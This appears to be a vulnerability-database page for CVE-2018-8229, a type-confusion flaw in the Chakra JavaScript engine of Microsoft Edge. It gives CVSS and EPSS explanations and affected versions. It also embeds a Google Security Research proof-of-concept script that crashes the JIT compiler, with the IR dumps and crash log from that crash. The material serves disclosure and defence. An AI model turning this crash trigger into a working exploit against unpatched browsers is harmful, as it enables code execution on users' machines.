CVE-2018-8229 : Detail

CVE-2018-8229

7.5
/
High
88.66%V3
Network
2018-06-14
10h00 +00:00
2018-07-27
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-8227.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45013

Publication date : 2018-07-11 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Here's a PoC: */ function opt(str) { for (let i = 0; i < 200; i++) { let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB'); } } opt('x'); opt(0x1234); /* Here's the IR code of the PoC before the global optimization phase: --------- FunctionEntry # s18.u64 = ArgIn_A prm1<32>.var # s9.var = LdSlot s32(s18l[53]).var # s7.var = LdSlot s20(s18l[51]).var # s8.var = LdSlot s19(s18l[52]).var # s1[Object].var = Ld_A 0x7FFFF47A0000 (GlobalObject)[Object].var # s2.var = LdC_A_I4 0 (0x0).i32 # s3.var = LdC_A_I4 200 (0xC8).i32 # s4.var = LdC_A_I4 1 (0x1).i32 # s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var # s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var # s17.var = InitLoopBodyCount #0009 --------- $L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b Line 2: i < 200; i++) { Col 21: ^ StatementBoundary #1 #000b s17.i32 = IncrLoopBodyCount s17.i32 #000b BrLt_A $L3, s8.var, s3.var #000b Br $L2 #0010 --------- $L3: #0013 Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB'); Col 9: ^ StatementBoundary #2 #0013 s13.var = Ld_A s7.var #0013 CheckFixedFld s21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var #0016 Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck) s12[ffunc][Object].var = Ld_A 0x7FFFF47972C0 (FunctionObject).var # s22.var = StartCall 2 (0x2).i32 #001a s36.var = BytecodeArgOutCapture s13.var #001d s24[String].var = Conv_PrimStr s5.var #0020 s25[String].var = Conv_PrimStr s7.var #0020 s26[String].var = Conv_PrimStr s6.var #0020 ByteCodeUses s7 #0020 s27.var = SetConcatStrMultiItemBE s24[String].var #0020 s28.var = SetConcatStrMultiItemBE s25[String].var, s27.var #0020 s29.var = SetConcatStrMultiItemBE s26[String].var, s28.var #0020 s14[String].var = NewConcatStrMultiBE 3 (0x3).u32, s29.var #0020 s35.var = BytecodeArgOutCapture s14.var #0025 arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized 0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var #0028 arg1(s23)<0>.var = ArgOut_A s36.var, s22.var #0028 arg2(s30)<8>.var = ArgOut_A s35.var, arg1(s23)<0>.var #0028 ByteCodeUses s12 #0028 s31[CanBeTaggedValue_Int_Number].var = CallDirect String_CharCodeAt.u64, arg1(s34)<0>.u64 #0028 s9.var = Ld_A s31.var #0032 Line 2: i++) { Col 30: ^ StatementBoundary #3 #0035 s8.var = Incr_A s8.var #0035 Br $L1 #0038 --------- $L2: #003d Line 5: } Col 1: ^ StatementBoundary #4 #0038 s16.i64 = Ld_I4 61 (0x3D).i64 #003d s19(s18l[52]).var = StSlot s8.var #003e s32(s18l[53]).var = StSlot s9.var #003e StLoopBodyCount s17.i32 #003e Ret s16.i64 #003e ---------------------------------------------------------------------------------------- After the global optimization phase: --------- FunctionEntry # s18.u64 = ArgIn_A prm1<32>.var! # s9[LikelyCanBeTaggedValue_Int].var = LdSlot s32(s18l[53])[LikelyCanBeTaggedValue_Int].var! # s7<s44>[LikelyCanBeTaggedValue_String].var = LdSlot s20(s18l[51])[LikelyCanBeTaggedValue_String].var! # s8[LikelyCanBeTaggedValue_Int].var = LdSlot s19(s18l[52])[LikelyCanBeTaggedValue_Int].var! # s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var # s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var # s17.var = InitLoopBodyCount #0009 s42(s8).i32 = FromVar s8[LikelyCanBeTaggedValue_Int].var # Bailout: #000b (BailOutIntOnly) s27.var = SetConcatStrMultiItemBE s5[String].var #0020 s49[String].var = Conv_PrimStr s7<s44>[String].var # s28.var = SetConcatStrMultiItemBE s49[String].var!, s27.var! #0020 s29.var = SetConcatStrMultiItemBE s6[String].var, s28.var! #0020 s14[String].var = NewConcatStrMultiBE 3 (0x3).u32, s29.var! #0020 BailTarget # Bailout: #000b (BailOutShared) --------- $L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b Line 2: i < 200; i++) { Col 21: ^ StatementBoundary #1 #000b s17.i32 = IncrLoopBodyCount s17.i32! #000b BrGe_I4 $L2, s42(s8).i32, 200 (0xC8).i32 #000b Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB'); Col 9: ^ StatementBoundary #2 #0013 CheckFixedFld s43(s7<s44>[LikelyCanBeTaggedValue_String]->charCodeAt)<0,m~=,++,s44!,s45+,{charCodeAt(0)~=}>.var! #0016 Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck) s22.var = StartCall 2 (0x2).i32 #001a arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized 0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var! #0028 arg1(s23)<0>.var = ArgOut_A s7<s44>[String].var, s22.var! #0028 arg2(s30)<8>.var = ArgOut_A s14[String].var, arg1(s23)<0>.var! #0028 s31[CanBeTaggedValue_Int_Number].var = CallDirect String_CharCodeAt.u64, arg1(s34)<0>.u64! #0028 Bailout: #0032 (BailOutOnImplicitCalls) s9[CanBeTaggedValue_Int_Number].var = Ld_A s31[CanBeTaggedValue_Int_Number].var! #0032 Line 2: i++) { Col 30: ^ StatementBoundary #3 #0035 s42(s8).i32 = Add_I4 s42(s8).i32!, 1 (0x1).i32 #0035 Br $L1 #0038 --------- $L2: #003d Line 5: } Col 1: ^ StatementBoundary #4 #003d s8[CanBeTaggedValue_Int].var = ToVar s42(s8).i32! #003e s19(s18l[52])[CanBeTaggedValue_Int].var! = StSlot s8[CanBeTaggedValue_Int].var! #003e s32(s18l[53])[LikelyCanBeTaggedValue_Int_Number].var! = StSlot s9[LikelyCanBeTaggedValue_Int_Number].var! #003e StLoopBodyCount s17.i32! #003e Ret 61 (0x3D).i32 #003e ---------------------------------------------------------------------------------------- Crash log: [----------------------------------registers-----------------------------------] RAX: 0x1000000001234 RBX: 0x7ffff47c5ff4 --> 0x31 ('1') RCX: 0x7ff7f4600000 --> 0x0 RDX: 0x0 RSI: 0x80000001 --> 0x0 RDI: 0x1000000001234 RBP: 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 --> 0x7fffffff48b0 (--> ...) RSP: 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 RIP: 0x7ff7f385017a (cmp QWORD PTR [rax],r10) R8 : 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp) R9 : 0x7ff7f4600000 --> 0x0 R10: 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp) R11: 0x7ffff47b9080 --> 0x55555cfa0f18 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp) R12: 0x0 R13: 0x7ffff47b36b0 --> 0x55555cfbee70 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp) R14: 0x0 R15: 0x1000000001234 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ff7f385016e: mov BYTE PTR [rcx+rax*1],0x1 0x7ff7f3850172: mov rax,QWORD PTR [rbp-0x10] 0x7ff7f3850176: mov r10,QWORD PTR [rbp-0x18] => 0x7ff7f385017a: cmp QWORD PTR [rax],r10 0x7ff7f385017d: je 0x7ff7f385037c 0x7ff7f3850183: mov rcx,rax 0x7ff7f3850186: mov QWORD PTR [rbp-0x18],rcx 0x7ff7f385018a: mov eax,DWORD PTR [rcx+0x18] [------------------------------------stack-------------------------------------] 0000| 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 0008| 0x7ffffffef348 --> 0x7ffff471c1e0 --> 0x55555cf48850 --> 0x555556c17100 (<Js::FunctionBody::Finalize(bool)>: push rbp) 0016| 0x7ffffffef350 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 0024| 0x7ffffffef358 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 0032| 0x7ffffffef360 --> 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 (--> ...) 0040| 0x7ffffffef368 --> 0x555556c40b8b (<Js::CompactCounters<Js::FunctionBody, Js::FunctionBody::CounterFields>::Get(Js::FunctionBody::CounterFields) const+139>: movzx ecx,BYTE PTR [rbp-0x22]) 0048| 0x7ffffffef370 --> 0x7ffff47a4238 --> 0x7ffff47c5fe0 --> 0x7ffff4796a40 --> 0x55555cf4df58 --> 0x555556cb7a20 (<JsUtil::List<Js::LoopEntryPointInfo*, Memory::Recycler, false, Js::CopyRemovePolicy, DefaultComparer>::IsReadOnly() const>: push rbp) 0056| 0x7ffffffef378 --> 0x7ffffffef4a0 --> 0x7ffffffef4c0 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 (--> ...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007ff7f385017a in ?? () Background: Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction. What happens here is: 1. The CheckFixedFld instruction ensures the type of s7 to be String. 2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop. 3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String). 4. So the "s49[String].var = Conv_PrimStr s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all. 5. No type check will be performed. It will result in type confusion. */

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version -

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_10 >> Version 1803

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Chakracore >> Version To (including) 1.8.4

References

http://www.securityfocus.com/bid/104369
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/45013/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1041097
Tags : vdb-entry, x_refsource_SECTRACK